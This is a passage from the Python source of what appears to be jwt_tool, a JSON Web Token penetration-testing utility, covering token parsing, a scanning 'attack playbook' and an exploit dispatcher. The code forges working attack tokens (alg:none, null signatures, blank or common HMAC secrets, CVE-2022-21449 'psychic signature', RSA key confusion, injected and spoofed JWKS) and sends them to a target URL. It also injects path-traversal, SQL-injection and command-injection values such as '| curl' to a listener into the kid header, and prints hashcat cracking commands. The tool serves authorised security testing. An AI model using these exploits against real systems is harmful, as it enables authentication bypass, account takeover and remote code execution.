\""+str(paylDict[claim][subclaim])+"\"", "green") 1224 | elif paylDict[claim][subclaim] == None: 1225 | cprintc(" [+] "+subclaim+" = null", "green") 1226 | elif paylDict[claim][subclaim] == True and not paylDict[claim][subclaim] == 1: 1227 | cprintc(" [+] "+subclaim+" = true", "green") 1228 | elif paylDict[claim][subclaim] == False and not paylDict[claim][subclaim] == 0: 1229 | cprintc(" [+] "+subclaim+" = false", "green") 1230 | else: 1231 | cprintc(" [+] "+subclaim+" = "+str(paylDict[claim][subclaim]), "green") 1232 | else: 1233 | if type(paylDict[claim]) == str: 1234 | cprintc("["+placeholder+"] "+claim+" = \""+str(paylDict[claim])+"\"", "green") 1235 | else: 1236 | cprintc("["+placeholder+"] "+claim+" = "+str(paylDict[claim]), "green") 1237 | return comparestamps, expiredtoken 1238 | 1239 | def validateToken(jwt): 1240 | try: 1241 | headB64, paylB64, sig = jwt.split(".",3) 1242 | except: 1243 | cprintc("[-] Invalid token:\nNot 3 parts -> header.payload.signature", "red") 1244 | exit(1) 1245 | try: 1246 | sig = base64.urlsafe_b64encode(base64.urlsafe_b64decode(sig + "=" * (-len(sig) % 4))).decode('UTF-8').strip("=") 1247 | except: 1248 | cprintc("[-] Invalid token:\nCould not base64-decode SIGNATURE - incorrect formatting/invalid characters", "red") 1249 | cprintc("----------------", "white") 1250 | cprintc(headB64, "cyan") 1251 | cprintc(paylB64, "cyan") 1252 | cprintc(sig, "red") 1253 | exit(1) 1254 | contents = headB64+"."+paylB64 1255 | contents = contents.encode() 1256 | try: 1257 | head = base64.urlsafe_b64decode(headB64 + "=" * (-len(headB64) % 4)) 1258 | except: 1259 | cprintc("[-] Invalid token:\nCould not base64-decode HEADER - incorrect formatting/invalid characters", "red") 1260 | cprintc("----------------", "white") 1261 | cprintc(headB64, "red") 1262 | cprintc(paylB64, "cyan") 1263 | cprintc(sig, "cyan") 1264 | exit(1) 1265 | try: 1266 | payl = base64.urlsafe_b64decode(paylB64 + "=" * (-len(paylB64) % 4)) 1267 | except: 1268 | cprintc("[-] Invalid token:\nCould not base64-decode PAYLOAD - incorrect formatting/invalid characters", "red") 1269 | cprintc("----------------", "white") 1270 | cprintc(headB64, "cyan") 1271 | cprintc(paylB64, "red") 1272 | cprintc(sig, "cyan") 1273 | exit(1) 1274 | try: 1275 | headDict = json.loads(head, object_pairs_hook=OrderedDict) 1276 | except: 1277 | cprintc("[-] Invalid token:\nHEADER not valid JSON format", "red") 1278 | 1279 | cprintc(head.decode('UTF-8'), "red") 1280 | exit(1) 1281 | if payl.decode() == "": 1282 | cprintc("Payload is blank", "white") 1283 | paylDict = {} 1284 | else: 1285 | try: 1286 | paylDict = json.loads(payl, object_pairs_hook=OrderedDict) 1287 | except: 1288 | cprintc("[-] Invalid token:\nPAYLOAD not valid JSON format", "red") 1289 | cprintc(payl.decode('UTF-8'), "red") 1290 | exit(1) 1291 | if args.verbose: 1292 | cprintc("Token: "+head.decode()+"."+payl.decode()+"."+sig+"\n", "green") 1293 | return headDict, paylDict, sig, contents 1294 | 1295 | def rejigToken(headDict, paylDict, sig): 1296 | cprintc("=====================\nDecoded Token Values:\n=====================", "white") 1297 | cprintc("\nToken header values:", "white") 1298 | for claim in headDict: 1299 | if isinstance(headDict[claim], dict): 1300 | cprintc("[+] "+claim+" = JSON object:", "green") 1301 | for subclaim in headDict[claim]: 1302 | if headDict[claim][subclaim] == None: 1303 | cprintc(" [+] "+subclaim+" = null", "green") 1304 | elif headDict[claim][subclaim] == True: 1305 | cprintc(" [+] "+subclaim+" = true", "green") 1306 | elif headDict[claim][subclaim] == False: 1307 | cprintc(" [+] "+subclaim+" = false", "green") 1308 | elif type(headDict[claim][subclaim]) == str: 1309 | cprintc(" [+] "+subclaim+" = \""+str(headDict[claim][subclaim])+"\"", "green") 1310 | else: 1311 | cprintc(" [+] "+subclaim+" = "+str(headDict[claim][subclaim]), "green") 1312 | else: 1313 | if type(headDict[claim]) == str: 1314 | cprintc("[+] "+claim+" = \""+str(headDict[claim])+"\"", "green") 1315 | else: 1316 | cprintc("[+] "+claim+" = "+str(headDict[claim]), "green") 1317 | cprintc("\nToken payload values:", "white") 1318 | comparestamps, expiredtoken = dissectPayl(paylDict) 1319 | if len(comparestamps) >= 2: 1320 | cprintc("\nSeen timestamps:", "white") 1321 | cprintc("[*] "+comparestamps[0]+" was seen", "green") 1322 | claimnum = 0 1323 | for claim in comparestamps: 1324 | timeoff = int(paylDict[comparestamps[claimnum]])-int(paylDict[comparestamps[0]]) 1325 | if timeoff != 0: 1326 | timecalc = timeoff 1327 | if timecalc < 0: 1328 | timecalc = timecalc*-1 1329 | days,hours,mins = 0,0,0 1330 | if timecalc >= 86400: 1331 | days = str(timecalc/86400) 1332 | days = int(float(days)) 1333 | timecalc -= days*86400 1334 | if timecalc >= 3600: 1335 | hours = str(timecalc/3600) 1336 | hours = int(float(hours)) 1337 | timecalc -= hours*3600 1338 | if timecalc >= 60: 1339 | mins = str(timecalc/60) 1340 | mins = int(float(mins)) 1341 | timecalc -= mins*60 1342 | if timeoff < 0: 1343 | timeoff = timeoff*-1 1344 | prepost = "[*] "+claim+" is earlier than "+comparestamps[0]+" by: " 1345 | cprintc(prepost+str(days)+" days, "+str(hours)+" hours, "+str(mins)+" mins", "green") 1346 | else: 1347 | prepost = "[*] "+claim+" is later than "+comparestamps[0]+" by: " 1348 | cprintc(prepost+str(days)+" days, "+str(hours)+" hours, "+str(mins)+" mins", "green") 1349 | claimnum += 1 1350 | if expiredtoken: 1351 | cprintc("[-] TOKEN IS EXPIRED!", "red") 1352 | cprintc("\n----------------------\nJWT common timestamps:\niat = IssuedAt\nexp = Expires\nnbf = NotBefore\n----------------------\n", "white") 1353 | if args.targeturl and not args.crack and not args.exploit and not args.verify and not args.tamper and not args.sign: 1354 | cprintc("[+] Sending token", "cyan") 1355 | newContents = genContents(headDict, paylDict) 1356 | jwtOut(newContents+"."+sig, "Sending token") 1357 | return headDict, paylDict, sig 1358 | 1359 | def searchLog(logID): 1360 | qResult = "" 1361 | with open(logFilename, 'r') as logFile: 1362 | logLine = logFile.readline() 1363 | while logLine: 1364 | if re.search(r'^'+logID, logLine): 1365 | qResult = logLine 1366 | break 1367 | else: 1368 | logLine = logFile.readline() 1369 | if qResult: 1370 | qOutput = re.sub(r' - eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*', '', qResult) 1371 | qOutput = re.sub(logID+' - ', '', qOutput) 1372 | try: 1373 | jwt = re.findall(r'eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*', qResult)[-1] 1374 | except: 1375 | cprintc("JWT not included in log", "red") 1376 | exit(1) 1377 | cprintc(logID+"\n"+qOutput, "green") 1378 | cprintc("JWT from request:", "cyan") 1379 | cprintc(jwt, "green") 1380 | # headDict, paylDict, sig, contents = validateToken(jwt) 1381 | # rejigToken(headDict, paylDict, sig) 1382 | return jwt 1383 | else: 1384 | cprintc("ID not found in logfile", "red") 1385 | 1386 | def injectOut(newheadDict, newpaylDict): 1387 | if not args.crack and not args.exploit and not args.verify and not args.tamper and not args.sign: 1388 | desc = "Injected token with unchanged signature" 1389 | jwtOut(newContents+"."+sig, "Injected claim", desc) 1390 | elif args.sign: 1391 | signingToken(newheadDict, newpaylDict) 1392 | else: 1393 | runActions() 1394 | 1395 | def scanModePlaybook(): 1396 | cprintc("\nLAUNCHING SCAN: JWT Attack Playbook", "magenta") 1397 | origalg = headDict["alg"] 1398 | # No token 1399 | tmpCookies = config['argvals']['cookies'].replace('%', '%%') 1400 | tmpHeader = config['argvals']['header'] 1401 | if config['argvals']['headerloc'] == "cookies": 1402 | config['argvals']['cookies'] = strip_dict_cookies(config['argvals']['cookies'].replace('%', '%%')) 1403 | elif config['argvals']['headerloc'] == "headers": 1404 | config['argvals']['header'] = "" 1405 | config['argvals']['overridesub'] = "true" 1406 | config['argvals']['cookies'] = tmpCookies 1407 | config['argvals']['header'] = tmpHeader 1408 | # Broken sig 1409 | jwtTweak = contents.decode()+"."+sig[:-4] 1410 | jwtOut(jwtTweak, "Broken signature", "This token was sent to check if the signature is being checked") 1411 | # Persistent 1412 | jwtOut(jwt, "Persistence check 1 (should always be valid)", "Original token sent to check if tokens work after invalid submissions") 1413 | # Claim processing order - check reflected output in all claims 1414 | reflectedClaims() 1415 | jwtOut(jwt, "Persistence check 2 (should always be valid)", "Original token sent to check if tokens work after invalid submissions") 1416 | # Weak HMAC secret 1417 | if headDict['alg'][:2] == "HS" or headDict['alg'][:2] == "hs": 1418 | cprintc("Testing "+headDict['alg']+" token against common JWT secrets (jwt-common.txt)", "cyan") 1419 | config['argvals']['keyList'] = "jwt-common.txt" 1420 | crackSig(sig, contents) 1421 | # Exploit: blank password accepted in signature 1422 | key = "" 1423 | newSig, newContents = signTokenHS(headDict, paylDict, key, 256) 1424 | jwtBlankPw = newContents+"."+newSig 1425 | jwtOut(jwtBlankPw, "Exploit: Blank password accepted in signature (-X b)", "This token can exploit a hard-coded blank password in the config") 1426 | # Exploit: Psychic Signature for ECDSA (CVE-2022-21449) 1427 | psySig = checkPsySig(headDict, paylB64) 1428 | jwtOut(psySig, "Exploit: 'Psychic Signature' accepted in ECDSA signing (-X p)", "Testing if the ECDSA signing process can be fooled (CVE-2022-21449)") 1429 | # Exploit: null signature 1430 | jwtNull = checkNullSig(contents) 1431 | jwtOut(jwtNull, "Exploit: Null signature (-X n)", "This token was sent to check if a null signature can bypass checks") 1432 | # Exploit: alg:none 1433 | noneToks = checkAlgNone(headDict, paylB64) 1434 | zippedToks = dict(zip(noneToks, ["\"alg\":\"none\"", "\"alg\":\"None\"", "\"alg\":\"NONE\"", "\"alg\":\"nOnE\""])) 1435 | for noneTok in zippedToks: 1436 | jwtOut(noneTok, "Exploit: "+zippedToks[noneTok]+" (-X a)", "Testing whether the None algorithm is accepted - which allows forging unsigned tokens") 1437 | # Exploit: key confusion - use provided PubKey 1438 | if config['crypto']['pubkey']: 1439 | newTok, newSig = checkPubKeyExploit(headDict, paylB64, config['crypto']['pubkey']) 1440 | jwtOut(newTok+"."+newSig, "Exploit: RSA Key Confusion Exploit (provided Public Key)") 1441 | headDict["alg"] = origalg 1442 | # Exploit: jwks injection 1443 | try: 1444 | origjwk = headDict["jwk"] 1445 | except: 1446 | origjwk = False 1447 | jwksig, jwksContents = jwksEmbed(headDict, paylDict) 1448 | jwtOut(jwksContents+"."+jwksig, "Exploit: Injected JWKS (-X i)") 1449 | headDict["alg"] = origalg 1450 | if origjwk: 1451 | headDict["jwk"] = origjwk 1452 | else: 1453 | del headDict["jwk"] 1454 | # Exploit: spoof jwks 1455 | try: 1456 | origjku = headDict["jku"] 1457 | except: 1458 | origjku = False 1459 | if config['services']['jwksloc']: 1460 | jku = config['services']['jwksloc'] 1461 | else: 1462 | jku = config['services']['jwksdynamic'] 1463 | newContents, newSig = exportJWKS(jku) 1464 | jwtOut(newContents+"."+newSig, "Exploit: Spoof JWKS (-X s)", "Signed with JWKS at "+jku) 1465 | if origjku: 1466 | headDict["jku"] = origjku 1467 | else: 1468 | del headDict["jku"] 1469 | headDict["alg"] = origalg 1470 | # kid testing... start 1471 | try: 1472 | origkid = headDict["kid"] 1473 | except: 1474 | origkid = False 1475 | # kid inject: blank field, sign with null 1476 | newheadDict, newHeadB64 = injectheaderclaim("kid", "") 1477 | key = open(path+"/null.txt").read() 1478 | newSig, newContents = signTokenHS(newheadDict, paylDict, key, 256) 1479 | jwtOut(newContents+"."+newSig, "Injected kid claim - null-signed with blank kid") 1480 | # kid inject: path traversal - known path - check for robots.txt, sign with variations of location 1481 | newheadDict, newHeadB64 = injectheaderclaim("kid", "../../../../../../dev/null") 1482 | key = open(path+"/null.txt").read() 1483 | newSig, newContents = signTokenHS(newheadDict, paylDict, key, 256) 1484 | jwtOut(newContents+"."+newSig, "Injected kid claim - null-signed with kid=\"[path traversal]/dev/null\"") 1485 | newheadDict, newHeadB64 = injectheaderclaim("kid", "/dev/null") 1486 | key = open(path+"/null.txt").read() 1487 | newSig, newContents = signTokenHS(newheadDict, paylDict, key, 256) 1488 | jwtOut(newContents+"."+newSig, "Injected kid claim - null-signed with kid=\"/dev/null\"") 1489 | # kid inject: path traversal - bad path - sign with null 1490 | newheadDict, newHeadB64 = injectheaderclaim("kid", "/invalid_path") 1491 | key = open(path+"/null.txt").read() 1492 | newSig, newContents = signTokenHS(newheadDict, paylDict, key, 256) 1493 | jwtOut(newContents+"."+newSig, "Injected kid claim - null-signed with kid=\"/invalid_path\"") 1494 | # kid inject: RCE - sign with null 1495 | newheadDict, newHeadB64 = injectheaderclaim("kid", "|sleep 10") 1496 | key = open(path+"/null.txt").read() 1497 | newSig, newContents = signTokenHS(newheadDict, paylDict, key, 256) 1498 | jwtOut(newContents+"."+newSig, "Injected kid claim - RCE attempt - SLEEP 10 (did this request pause?)") 1499 | if config['services']['httplistener']: 1500 | injectUrl = config['services']['httplistener']+"/RCE_in_kid" 1501 | newheadDict, newHeadB64 = injectheaderclaim("kid", "| curl "+injectUrl) 1502 | key = open(path+"/null.txt").read() 1503 | newSig, newContents = signTokenHS(newheadDict, paylDict, key, 256) 1504 | jwtOut(newContents+"."+newSig, "Injected kid claim - RCE attempt - curl "+injectUrl+" (did this URL get accessed?)") 1505 | # kid inject: SQLi explicit value 1506 | newheadDict, newHeadB64 = injectheaderclaim("kid", "x' UNION SELECT '1';--") 1507 | key = "1" 1508 | newSig, newContents = signTokenHS(newheadDict, paylDict, key, 256) 1509 | jwtOut(newContents+"."+newSig, "Injected kid claim - signed with secret = '1' from SQLi") 1510 | # kid testing... end 1511 | if origkid: 1512 | headDict["kid"] = origkid 1513 | else: 1514 | del headDict["kid"] 1515 | headDict["alg"] = origalg 1516 | # x5u external 1517 | # Force External Interactions 1518 | if config['services']['httplistener']: 1519 | for headerClaim in headDict: 1520 | injectExternalInteractionHeader(config['services']['httplistener']+"/inject_existing_", headerClaim) 1521 | for payloadClaim in paylDict: 1522 | injectExternalInteractionPayload(config['services']['httplistener']+"/inject_existing_", payloadClaim) 1523 | cprintc("External service interactions have been tested - check your listener for interactions", "green") 1524 | else: 1525 | cprintc("External service interactions not tested - enter listener URL into 'jwtconf.ini' to try this option", "red") 1526 | # Accept Common HMAC secret (as alterative signature) 1527 | with open(config['input']['wordlist'], "r", encoding='utf-8', errors='ignore') as commonPassList: 1528 | commonPass = commonPassList.readline().rstrip() 1529 | while commonPass: 1530 | newSig, newContents = signTokenHS(headDict, paylDict, commonPass, 256) 1531 | jwtOut(newContents+"."+newSig, "Checking for alternative accepted HMAC signatures, based on common passwords. Testing: "+commonPass+"", "This token can exploit a hard-coded common password in the config") 1532 | commonPass = commonPassList.readline().rstrip() 1533 | # SCAN COMPLETE 1534 | cprintc("Scanning mode completed: review the above results.\n", "magenta") 1535 | # Further manual testing: check expired token, brute key, find Public Key, run other scans 1536 | cprintc("The following additional checks should be performed that are better tested manually:", "magenta") 1537 | if headDict['alg'][:2] == "HS" or headDict['alg'][:2] == "hs": 1538 | cprintc("[+] Try testing "+headDict['alg'][:2]+" token against weak password configurations by running the following hashcat cracking options:", "green") 1539 | cprintc("(Already testing against passwords in jwt-common.txt)", "cyan") 1540 | cprintc("Try using longer dictionaries, custom dictionaries, mangling rules, or brute force attacks.\nhashcat (https://hashcat.net/hashcat/) is ideal for this as it is highly optimised for speed. Just add your JWT to a text file, then use the following syntax to give you a good start:\n\n[*] dictionary attacks: hashcat -a 0 -m 16500 jwt.txt passlist.txt\n[*] rule-based attack: hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule\n[*] brute-force attack: hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6", "cyan") 1541 | if headDict['alg'][:2] != "HS" and headDict['alg'][:2] != "hs": 1542 | cprintc("[+] Try hunting for a Public Key for this token. Validate any JWKS you find (-V -jw [jwks_file]) and then use the generated Public Key file with the Playbook Scan (-pk [kid_from_jwks].pem)", "green") 1543 | cprintc("Common locations for Public Keys are either the web application's SSL key, or stored as a JWKS file in one of these locations:", "cyan") 1544 | with open('jwks-common.txt', "r", encoding='utf-8', errors='ignore') as jwksLst: 1545 | nextVal = jwksLst.readline().rstrip() 1546 | while nextVal: 1547 | cprintc(nextVal, "cyan") 1548 | nextVal = jwksLst.readline().rstrip() 1549 | try: 1550 | timestamp = datetime.fromtimestamp(int(paylDict['exp'])) 1551 | cprintc("[+] Try waiting for the token to expire (\"exp\" value set to: "+timestamp.strftime('%Y-%m-%d %H:%M:%S')+" (UTC))", "green") 1552 | cprintc("Check if still working once expired.", "cyan") 1553 | except: 1554 | pass 1555 | 1556 | def scanModeErrors(): 1557 | cprintc("\nLAUNCHING SCAN: Forced Errors", "magenta") 1558 | # Inject dangerous content-types into existing header claims 1559 | injectEachHeader(None) 1560 | injectEachHeader(True) 1561 | injectEachHeader(False) 1562 | injectEachHeader("jwt_tool") 1563 | injectEachHeader(0) 1564 | # Inject dangerous content-types into existing payload claims 1565 | injectEachPayload(None) 1566 | injectEachPayload(True) 1567 | injectEachPayload(False) 1568 | injectEachPayload("jwt_tool") 1569 | injectEachPayload(0) 1570 | cprintc("Scanning mode completed: review the above results.\n", "magenta") 1571 | 1572 | def scanModeCommonClaims(): 1573 | cprintc("\nLAUNCHING SCAN: Common Claim Injection", "magenta") 1574 | # Inject external URLs into common claims 1575 | with open(config['input']['commonHeaders'], "r", encoding='utf-8', errors='ignore') as commonHeaders: 1576 | nextHeader = commonHeaders.readline().rstrip() 1577 | while nextHeader: 1578 | injectExternalInteractionHeader(config['services']['httplistener']+"/inject_common_", nextHeader) 1579 | nextHeader = commonHeaders.readline().rstrip() 1580 | with open(config['input']['commonPayloads'], "r", encoding='utf-8', errors='ignore') as commonPayloads: 1581 | nextPayload = commonPayloads.readline().rstrip() 1582 | while nextPayload: 1583 | injectExternalInteractionPayload(config['services']['httplistener']+"/inject_common_", nextPayload) 1584 | nextPayload = commonPayloads.readline().rstrip() 1585 | # Inject dangerous content-types into common claims 1586 | injectCommonClaims(None) 1587 | injectCommonClaims(True) 1588 | injectCommonClaims(False) 1589 | injectCommonClaims("jwt_tool") 1590 | injectCommonClaims(0) 1591 | 1592 | cprintc("Scanning mode completed: review the above results.\n", "magenta") 1593 | 1594 | def injectCommonClaims(contentVal): 1595 | with open(config['input']['commonHeaders'], "r", encoding='utf-8', errors='ignore') as commonHeaders: 1596 | nextHeader = commonHeaders.readline().rstrip() 1597 | while nextHeader: 1598 | origVal = "" 1599 | try: 1600 | origVal = headDict[nextHeader] 1601 | except: 1602 | pass 1603 | headDict[nextHeader] = contentVal 1604 | newContents = genContents(headDict, paylDict) 1605 | jwtOut(newContents+"."+sig, "Injected "+str(contentVal)+" into Common Header Claim: "+str(nextHeader)) 1606 | if origVal != "": 1607 | headDict[nextHeader] = origVal 1608 | else: 1609 | del headDict[nextHeader] 1610 | nextHeader = commonHeaders.readline().rstrip() 1611 | with open(config['input']['commonPayloads'], "r", encoding='utf-8', errors='ignore') as commonPayloads: 1612 | nextPayload = commonPayloads.readline().rstrip() 1613 | while nextPayload: 1614 | origVal = "" 1615 | try: 1616 | origVal = paylDict[nextPayload] 1617 | except: 1618 | pass 1619 | paylDict[nextPayload] = contentVal 1620 | newContents = genContents(headDict, paylDict) 1621 | jwtOut(newContents+"."+sig, "Injected "+str(contentVal)+" into Common Payload Claim: "+str(nextPayload)) 1622 | if origVal != "": 1623 | paylDict[nextPayload] = origVal 1624 | else: 1625 | del paylDict[nextPayload] 1626 | nextPayload = commonPayloads.readline().rstrip() 1627 | 1628 | def injectEachHeader(contentVal): 1629 | for headerClaim in headDict: 1630 | origVal = headDict[headerClaim] 1631 | headDict[headerClaim] = contentVal 1632 | newContents = genContents(headDict, paylDict) 1633 | jwtOut(newContents+"."+sig, "Injected "+str(contentVal)+" into Header Claim: "+str(headerClaim)) 1634 | headDict[headerClaim] = origVal 1635 | 1636 | def injectEachPayload(contentVal): 1637 | for payloadClaim in paylDict: 1638 | origVal = paylDict[payloadClaim] 1639 | paylDict[payloadClaim] = contentVal 1640 | newContents = genContents(headDict, paylDict) 1641 | jwtOut(newContents+"."+sig, "Injected "+str(contentVal)+" into Payload Claim: "+str(payloadClaim)) 1642 | paylDict[payloadClaim] = origVal 1643 | 1644 | def injectExternalInteractionHeader(listenerUrl, headerClaim): 1645 | injectUrl = listenerUrl+headerClaim 1646 | origVal = "" 1647 | try: 1648 | origVal = headDict[headerClaim] 1649 | except: 1650 | pass 1651 | headDict[headerClaim] = injectUrl 1652 | newContents = genContents(headDict, paylDict) 1653 | jwtOut(newContents+"."+sig, "Injected "+str(injectUrl)+" into Header Claim: "+str(headerClaim)) 1654 | if origVal != "": 1655 | headDict[headerClaim] = origVal 1656 | else: 1657 | del headDict[headerClaim] 1658 | 1659 | def injectExternalInteractionPayload(listenerUrl, payloadClaim): 1660 | injectUrl = listenerUrl+payloadClaim 1661 | origVal = "" 1662 | try: 1663 | origVal = paylDict[payloadClaim] 1664 | except: 1665 | pass 1666 | paylDict[payloadClaim] = injectUrl 1667 | newContents = genContents(headDict, paylDict) 1668 | jwtOut(newContents+"."+sig, "Injected "+str(injectUrl)+" into Payload Claim: "+str(payloadClaim)) 1669 | if origVal != "": 1670 | paylDict[payloadClaim] = origVal 1671 | else: 1672 | del paylDict[payloadClaim] 1673 | 1674 | # def kidInjectAttacks(): 1675 | # with open(config['argvals']['injectionfile'], "r", encoding='utf-8', errors='ignore') as valLst: 1676 | # nextVal = valLst.readline() 1677 | # while nextVal: 1678 | # newheadDict, newHeadB64 = injectheaderclaim(config['argvals']['headerclaim'], nextVal.rstrip()) 1679 | # newContents = genContents(newheadDict, paylDict) 1680 | # jwtOut(newContents+"."+sig, "Injected kid claim", desc) 1681 | # nextVal = valLst.readline() 1682 | 1683 | def reflectedClaims(): 1684 | checkVal = "jwt_inject_"+hashlib.md5(datetime.now().strftime('%Y-%m-%d %H:%M:%S').encode()).hexdigest()+"_" 1685 | for claim in paylDict: 1686 | tmpValue = paylDict[claim] 1687 | paylDict[claim] = checkVal+claim 1688 | tmpContents = base64.urlsafe_b64encode(json.dumps(headDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")+"."+base64.urlsafe_b64encode(json.dumps(paylDict,separators=(",",":")).encode()).decode('UTF-8').strip("=") 1689 | jwtOut(tmpContents+"."+sig, "Claim processing check in "+claim+" claim", "Token sent to check if the signature is checked before the "+claim+" claim is processed") 1690 | if checkVal+claim in config['argvals']['rescontent']: 1691 | cprintc("Injected value in "+claim+" claim was observed - "+checkVal+claim, "red") 1692 | paylDict[claim] = tmpValue 1693 | 1694 | 1695 | def preScan(): 1696 | cprintc("Running prescan checks...", "cyan") 1697 | jwtOut(jwt, "Prescan: original token", "Prescan: original token") 1698 | if config['argvals']['canaryvalue']: 1699 | if config['argvals']['canaryvalue'] not in config['argvals']['rescontent']: 1700 | cprintc("Canary value ("+config['argvals']['canaryvalue']+") was not found in base request - check that this token is valid and you are still logged in", "red") 1701 | shallWeGoOn = input("Do you wish to continue anyway? (\"Y\" or \"N\")") 1702 | if shallWeGoOn == "N": 1703 | exit(1) 1704 | elif shallWeGoOn == "n": 1705 | exit(1) 1706 | origResSize, origResCode = config['argvals']['ressize'], config['argvals']['rescode'] 1707 | jwtOut("null", "Prescan: no token", "Prescan: no token") 1708 | nullResSize, nullResCode = config['argvals']['ressize'], config['argvals']['rescode'] 1709 | if config['argvals']['canaryvalue'] == "": 1710 | if origResCode == nullResCode: 1711 | cprintc("Valid and missing token requests return the same Status Code.\nYou should probably specify something from the page that identifies the user is logged-in (e.g. -cv \"Welcome back, ticarpi!\")", "red") 1712 | shallWeGoOn = input("Do you wish to continue anyway? (\"Y\" or \"N\")") 1713 | if shallWeGoOn == "N": 1714 | exit(1) 1715 | elif shallWeGoOn == "n": 1716 | exit(1) 1717 | jwtTweak = contents.decode()+"."+sig[:-4] 1718 | jwtOut(jwtTweak, "Prescan: Broken signature", "This token was sent to check if the signature is being checked") 1719 | jwtOut(jwt, "Prescan: repeat original token", "Prescan: repeat original token") 1720 | if origResCode != config['argvals']['rescode']: 1721 | cprintc("Original token not working after invalid submission. Testing will need to be done manually, re-authenticating after each invalid submission", "red") 1722 | exit(1) 1723 | 1724 | 1725 | def runScanning(): 1726 | cprintc("Running Scanning Module:", "cyan") 1727 | preScan() 1728 | if config['argvals']['scanMode'] == "pb": 1729 | scanModePlaybook() 1730 | if config['argvals']['scanMode'] == "er": 1731 | scanModeErrors() 1732 | if config['argvals']['scanMode'] == "cc": 1733 | scanModeCommonClaims() 1734 | if config['argvals']['scanMode'] == "at": 1735 | scanModePlaybook() 1736 | scanModeErrors() 1737 | scanModeCommonClaims() 1738 | 1739 | 1740 | def runExploits(): 1741 | if args.exploit: 1742 | if args.exploit == "a": 1743 | noneToks = checkAlgNone(headDict, paylB64) 1744 | zippedToks = dict(zip(noneToks, ["\"alg\":\"none\"", "\"alg\":\"None\"", "\"alg\":\"NONE\"", "\"alg\":\"nOnE\""])) 1745 | for noneTok in zippedToks: 1746 | desc = "EXPLOIT: "+zippedToks[noneTok]+" - this is an exploit targeting the debug feature that allows a token to have no signature\n(This will only be valid on unpatched implementations of JWT.)" 1747 | jwtOut(noneTok, "Exploit: "+zippedToks[noneTok], desc) 1748 | elif args.exploit == "n": 1749 | jwtNull = checkNullSig(contents) 1750 | desc = "EXPLOIT: null signature\n(This will only be valid on unpatched implementations of JWT.)" 1751 | jwtOut(jwtNull, "Exploit: Null signature", desc) 1752 | elif args.exploit == "p": 1753 | jwtPsy = checkPsySig(headDict, paylB64) 1754 | desc = "EXPLOIT: Psychic Signature (CVE-2022-21449)\n(This will only be valid on unpatched implementations of JWT.)" 1755 | jwtOut(jwtPsy, "Exploit: Psychic Signature (CVE-2022-21449)", desc) 1756 | elif args.exploit == "b": 1757 | key = "" 1758 | newSig, newContents = signTokenHS(headDict, paylDict, key, 256) 1759 | jwtBlankPw = newContents+"."+newSig 1760 | desc = "EXPLOIT: Blank password accepted in signature\n(This will only be valid on unpatched implementations of JWT.)" 1761 | jwtOut(jwtBlankPw, "Exploit: Blank password accepted in signature", desc) 1762 | elif args.exploit == "i": 1763 | newSig, newContents = jwksEmbed(headDict, paylDict) 1764 | desc = "EXPLOIT: injected JWKS\n(This will only be valid on unpatched implementations of JWT.)" 1765 | jwtOut(newContents+"."+newSig, "Injected JWKS", desc) 1766 | elif args.exploit == "s": 1767 | if config['services']['jwksloc']: 1768 | jku = config['services']['jwksloc'] 1769 | else: 1770 | jku = config['services']['jwksdynamic'] 1771 | newContents, newSig = exportJWKS(jku) 1772 | if config['services']['jwksloc'] and config['services']['jwksloc'] == args.jwksurl: 1773 | cprintc("Paste this JWKS into a file at the following location before submitting token request: "+jku+"\n(JWKS file used: "+config['crypto']['jwks']+")\n"+str(config['crypto']['jwks'])+"", "cyan") 1774 | desc = "Signed with JWKS at "+jku 1775 | jwtOut(newContents+"."+newSig, "Spoof JWKS", desc) 1776 | elif args.exploit == "k": 1777 | if config['crypto']['pubkey']: 1778 | newTok, newSig = checkPubKeyExploit(headDict, paylB64, config['crypto']['pubkey']) 1779 | desc = "EXPLOIT: Key-Confusion attack (signing using the Public Key as the HMAC secret)\n(This will only be valid on unpatched implementations of JWT.)" 1780 | jwtOut(newTok+"."+newSig, "RSA Key Confusion Exploit", desc) 1781 | else: 1782 | cprintc("No Public Key provided (-pk)\n", "red") 1783 | parser.print_usage() 1784 | 1785 | def runActions(): 1786 | if args.tamper: 1787 | tamperToken(paylDict, headDict, sig) 1788 | exit(1) 1789 | if args.verify: 1790 | if args.pubkey: 1791 | algType = headDict["alg"][0:2] 1792 | if algType == "RS": 1793 | if args.pubkey: 1794 | verifyTokenRSA(headDict, paylDict, sig, args.pubkey) 1795 | else: 1796 | verifyTokenRSA(headDict, paylDict, sig, config['crypto']['pubkey']) 1797 | exit(1) 1798 | elif algType == "ES": 1799 | if config['crypto']['pubkey']: 1800 | verifyTokenEC(headDict, paylDict, sig, config['crypto']['pubkey']) 1801 | else: 1802 | cprintc("No Public Key provided (-pk)\n", "red") 1803 | parser.print_usage() 1804 | exit(1) 1805 | elif algType == "PS": 1806 | if config['crypto']['pubkey']: 1807 | verifyTokenPSS(headDict, paylDict, sig, config['crypto']['pubkey']) 1808 | else: 1809 | cprintc("No Public Key provided (-pk)\n", "red") 1810 | parser.print_usage() 1811 | exit(1) 1812 | else: 1813 | cprintc("Algorithm not supported for verification", "red") 1814 | exit(1) 1815 | elif args.jwksfile: 1816 | parseJWKS(config['crypto']['jwks']) 1817 | else: 1818 | cprintc("No Public Key or JWKS file provided (-pk/-jw)\n", "red") 1819 | parser.print_usage() 1820 | exit(1) 1821 | runExploits() 1822 | if args.crack: 1823 | if args.password: 1824 | cprintc("Password provided, checking if valid...", "cyan") 1825 | checkSig(sig, contents, config['argvals']['key']) 1826 | elif args.dict: 1827 | crackSig(sig, contents) 1828 | elif args.keyfile: 1829 | checkSigKid(sig, contents) 1830 | else: 1831 | cprintc("No cracking option supplied:\nPlease specify a password/dictionary/Public Key\n", "red") 1832 | parser.print_usage() 1833 | exit(1) 1834 | if args.query and config['argvals']['sigType'] != "": 1835 | signingToken(headDict, paylDict) 1836 | 1837 | def printLogo(): 1838 | print() 1839 | print(" \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\ \x1b[48;5;24m \x1b[0m\x1b[48;5;24m \x1b[0m\\ \x1b[48;5;24m 